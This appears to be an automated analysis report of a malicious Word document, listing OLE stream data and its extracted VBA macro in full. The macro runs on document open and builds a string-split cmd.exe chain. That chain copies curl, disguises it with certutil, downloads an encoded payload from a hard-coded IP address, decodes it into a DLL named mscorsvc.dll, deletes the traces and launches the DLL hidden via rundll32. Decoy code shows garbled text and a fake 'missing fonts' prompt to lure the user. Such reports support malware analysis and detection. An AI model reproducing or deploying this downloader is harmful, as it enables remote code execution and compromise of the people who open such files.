Data ASCII:	. . . . . . . . . t . . . . . . b . . . . . . . . . . . ] . . . . . . . . . . . . . . . . . . . . . . . . . . . . . p . . . $ X . E - . B / . 8 [ . a i s . B e 2 . . . . . . . . . . . . . . . . . . . . Z . L Z . i F Z Z g 6 . . . . . . . . . . . . . . . . . . . . . . x . . . . Z . L Z . i F Z Z g 6 $ X . E - . B / . 8 [ . . . . . M E . . . . . . . . . . . . . . . . . . . . . ( . . . . . . . . S " . . . . S . . . . . S " . . . . . < 2 . . . . . > " . . . . . < X . . . . . . . . . . . . . . . . . . L . . . .
Data Raw:	01 16 03 00 04 00 01 00 00 74 0b 00 00 e4 00 00 00 62 02 00 00 02 0c 00 00 10 0c 00 00 e0 5d 00 00 04 00 00 00 01 00 00 00 97 d9 f8 db 00 00 ff ff a3 00 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff 70 00 ff ff 00 00 24 58 0c 45 2d c6 bb 42 af 2f 07 e1 38 5b 0b 81 c3 61 69 73 c0 cd b3 42 91 9f a4 ef 65 97 32 fe 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
' Declare PtrSafe Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As LongPtr)
' Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)

' Sub ChangeText()
'     ActiveDocument.Words(19).Text = "The "
' End Sub

Sub DeleteText()
    ' Dim rngFirstParagraph As Range
    
    ' Set rngFirstParagraph = ActiveDocument.Paragraphs(4).Range
    ' With rngFirstParagraph
    ' .Delete
    ' .InsertAfter Text:="New text"
    ' .InsertParagraphAfter
    ' End With

    Set rngFirstParagraph = ActiveDocument.Paragraphs(4).Range
    With rngFirstParagraph
    .Delete
    .InsertAfter Text:="Fourth paragraph displayed " + Chr(34)
    .InsertParagraphAfter
    End With

    Set rngFirstParagraph = ActiveDocument.Paragraphs(5).Range
    With rngFirstParagraph
    .Delete
    .InsertAfter Text:="Fifth paragraph displayed"
    .InsertParagraphAfter
    End With

    Set rngFirstParagraph = ActiveDocument.Paragraphs(6).Range
    With rngFirstParagraph
    .Delete
    .InsertAfter Text:="Sixth paragraph displayed"
    .InsertParagraphAfter
    End With

    Set rngFirstParagraph = ActiveDocument.Paragraphs(7).Range
    With rngFirstParagraph
    .Delete
    .InsertAfter Text:="Seventh paragraph displayed"
    .InsertParagraphAfter
    End With

    For i = 1 To ActiveDocument.Paragraphs.Count
        ' ActiveDocument.Paragraphs(i).Style = wdStyleNormal
        Set myRange = ActiveDocument.Paragraphs(i).Range
        With myRange.Font
        ' .Bold = True
        .Name = "Times New Roman"
        .Size = 14
        End With
    Next i
End Sub

Sub ShowErrorText()
    Dim rngFirstParagraph As Range
    
    Set rngFirstParagraph = ActiveDocument.Paragraphs(4).Range
    With rngFirstParagraph
    .Delete
    .InsertAfter Text:=ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) +     " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) +     " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) +     " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) +     " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3)
    .InsertParagraphAfter

    .InsertAfter Text:=ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) +     " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) +     " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) +     " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3)
    .InsertParagraphAfter

    .InsertAfter Text:=ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) +     " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) +     " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) +     " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) +     " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) +     " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) +     " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3)
    .InsertParagraphAfter

    .InsertAfter Text:=ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) +     " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) +     " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) +     " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) +     " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) +     " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) +     " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3)

    .InsertAfter Text:=ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) +     " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) +     " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) +     " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) +     " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) +     " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) +     " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) +     " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) +     " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) +     " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) +     " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) +     " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3)
    .InsertParagraphAfter
    End With
End Sub

'Show msgbox
Sub MsgFunc()
    Dim Msg, Style, Title, Help, Ctxt, Response, MyString
    Msg = "The document cannot be fully displayed due to missing fonts. Do you want to install missing fonts?"    ' Define message.
    Style = vbYesNo Or vbCritical Or vbDefaultButton2    ' Define buttons.
    Title = "Missing font"    ' Define title.
    Help = "DEMO.HLP"    ' Define Help file.
    Ctxt = 1000    ' Define topic context.
    ' Display message.
    Response = MsgBox(Msg, Style, Title, Help, Ctxt)
    If Response = vbYes Then    ' User chose Yes.
        MyString = "Yes"    ' Perform some action.
        DeleteText
    Else    ' User chose No.
        MyString = "No"    ' Perform some action.
        'MsgFunc
    End If
End Sub

Sub MainFunc()
    Dim curl_enc_txt_path As String
    Dim curl_dec_exe_path As String
    Dim mal_enc_txt_url As String
    Dim mal_enc_txt_path As String
    Dim mal_dec_exe_path As String
    Dim pp As String
    Dim cc As String
    Dim dir As String
    Dim host As String

    dir = ActiveDocument.Path
    dir = Environ("temp")
    host = "http://172.104.160.126:8099"
    curl_enc_txt_path = dir + "\curl.txt"
    curl_dec_exe_path = dir + "\curl.exe"

    mal_enc_txt_url = host + "/payload2.txt"
    mal_enc_txt_path = dir + "\mscorsvc.txt"
    mal_dec_exe_path = dir + "\mscorsvc.dll"

    pp = pp + "C:\Windows\Sys"
    pp = pp + "tem32\cmd.exe /c "
    cc = cc + curl_enc_txt_path + curl_dec_exe_path
    pp = pp + "xcopy C:\Windows\Sys"
    cc = cc + curl_enc_txt_path + mal_enc_txt_url
    pp = pp + "tem32\cu" + "rl.exe " + dir + " & "
    cc = cc + mal_enc_txt_path + mal_enc_txt_url
    pp = pp + "certutil -f "
    cc = cc + mal_enc_txt_path + mal_dec_exe_path
    pp = pp + "-encode " + dir + "\cu" + "rl.exe " + curl_enc_txt_path + " & "
    cc = cc + pp + mal_dec_exe_path
    pp = pp + "certutil -f "
    cc = cc + pp + dir
    pp = pp + "-decode " + curl_enc_txt_path + " " + curl_dec_exe_path + " & "
    cc = cc + curl_enc_txt_path + dir

    pp = pp + curl_dec_exe_path + " " + mal_enc_txt_url + " -o " + mal_enc_txt_path + " & "
    cc = cc + curl_enc_txt_path + dir
    pp = pp + "certutil -f "
    cc = cc + curl_enc_txt_path + curl_dec_exe_path
    pp = pp + "-decode " + mal_enc_txt_path + " " + mal_dec_exe_path + " & "
    cc = cc + mal_enc_txt_url + curl_dec_exe_path

    pp = pp + "del " + dir + "\cu" + "rl.exe & "
    cc = cc + host + pp + curl_enc_txt_path
    pp = pp + "del " + curl_enc_txt_path + " & "
    cc = cc + curl_enc_txt_path + dir
    pp = pp + "del " + curl_dec_exe_path + " & "
    cc = cc + curl_dec_exe_path + pp

    pp = pp + "del " + mal_enc_txt_path + " & "
    cc = cc + mal_enc_txt_path + pp

    Dim vbDblQuote As String
    vbDblQuote = Chr(34)
    pp = pp + "START " + vbDblQuote + " " + vbDblQuote + " rundll32 " + mal_dec_exe_path + ",DllMain" + " & "
    cc = cc + mal_dec_exe_path + pp

    pp = pp + "exit"
    cc = cc + dir + pp
    'pp = pp + "cmd.exe -d & exit"
    'cc = cc + mal_enc_txt_url + curl_dec_exe_path
    ' Shell (pp), vbHidden

    Dim objShell As Object
    Set objShell = CreateObject("WScript.Shell")
    objShell.Run pp, 0, False
End Sub


Sub Document_Open()
    MainFunc
End Sub

Streams

Stream Path: PROJECT, File Type: ASCII text, with CRLF line terminators, Stream Size: 376

General
Stream Path:	PROJECT
CLSID:
File Type:	ASCII text, with CRLF line terminators
Stream Size:	376
Entropy:	5.349004928853029
Base64 Encoded:	True
Data ASCII:	I D = " { 6 3 9 4 0 D 1 7 - 7 B C 7 - 4 1 4 6 - B A 9 5 - 1 3 8 9 F F 7 0 2 C 5 8 } " . . D o c u m e n t = T h i s D o c u m e n t / & H 0 0 0 0 0 0 0 0 . . N a m e = " P r o j e c t " . . H e l p C o n t e x t I D = " 0 " . . V e r s i o n C o m p a t i b l e 3 2 = " 3 9 3 2 2 2 0 0 0 " . . C M G = " D 5 D 7 6 E 4 7 9 6 1 8 9 A 1 8 9 A 1 8 9 A 1 8 9 A " . . D P B = " A A A 8 1 1 B 6 E 7 B 7 E 7 B 7 E 7 " . . G C = " 7 F 7 D C 4 E D 4 C 1 7 2 0 1 8 2 0 1 8 D F " . . . . [ H o s t E x t e n d e r I n f
Data Raw:	49 44 3d 22 7b 36 33 39 34 30 44 31 37 2d 37 42 43 37 2d 34 31 34 36 2d 42 41 39 35 2d 31 33 38 39 46 46 37 30 32 43 35 38 7d 22 0d 0a 44 6f 63 75 6d 65 6e 74 3d 54 68 69 73 44 6f 63 75 6d 65 6e 74 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 4e 61 6d 65 3d 22 50 72 6f 6a 65 63 74 22 0d 0a 48 65 6c 70 43 6f 6e 74 65 78 74 49 44 3d 22 30 22 0d 0a 56 65 72 73 69 6f 6e 43 6f 6d 70 61 74 69

Stream Path: PROJECTwm, File Type: data, Stream Size: 41

General
Stream Path:	PROJECTwm
CLSID:
File Type:	data
Stream Size:	41
Entropy:	3.0773844850752607
Base64 Encoded:	False
Data ASCII:	T h i s D o c u m e n t . T . h . i . s . D . o . c . u . m . e . n . t . . . . .
Data Raw:	54 68 69 73 44 6f 63 75 6d 65 6e 74 00 54 00 68 00 69 00 73 00 44 00 6f 00 63 00 75 00 6d 00 65 00 6e 00 74 00 00 00 00 00

Stream Path: VBA/_VBA_PROJECT, File Type: data, Stream Size: 2976

General
Stream Path:	VBA/_VBA_PROJECT
CLSID:
File Type:	data
Stream Size:	2976
Entropy:	4.617966626265468
Base64 Encoded:	False
Data ASCII:	a . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . * . \\ . G . { . 0 . 0 . 0 . 2 . 0 . 4 . E . F . - . 0 . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . - . C . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 4 . 6 . } . # . 4 . . . 2 . # . 9 . # . C . : . \\ . P . R . O . G . R . A . ~ . 1 . \\ . C . O . M . M . O . N . ~ . 1 . \\ . M . I . C . R . O . S . ~ . 1 . \\ . V . B . A . \\ . V . B . A . 7 . . . 1 . \\ . V . B . E . 7 . . . D . L . L . # . V . i . s . u . a . l . . B . a . s . i . c . . F . o
Data Raw:	cc 61 b2 00 00 03 00 ff 09 04 00 00 09 04 00 00 e4 04 03 00 00 00 00 00 00 00 00 00 01 00 05 00 02 00 fe 00 2a 00 5c 00 47 00 7b 00 30 00 30 00 30 00 32 00 30 00 34 00 45 00 46 00 2d 00 30 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 2d 00 43 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 34 00 36 00 7d 00 23 00 34 00 2e 00 32 00 23 00

Stream Path: VBA/__SRP_0, File Type: data, Stream Size: 2782

General
Stream Path:	VBA/__SRP_0
CLSID:
File Type:	data
Stream Size:	2782
Entropy:	3.5082390293182035
Base64 Encoded:	False
Data ASCII:	K * . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . * \\ C N o r m a l r U . . . . . . . @ . . . . . . . @ . . . . . . . @ . . . . . . . . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ J . . . . . . . . . . . . . . . " . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . a . . . . . . . . . . . U . B - . . . . . . . . . . . . . .
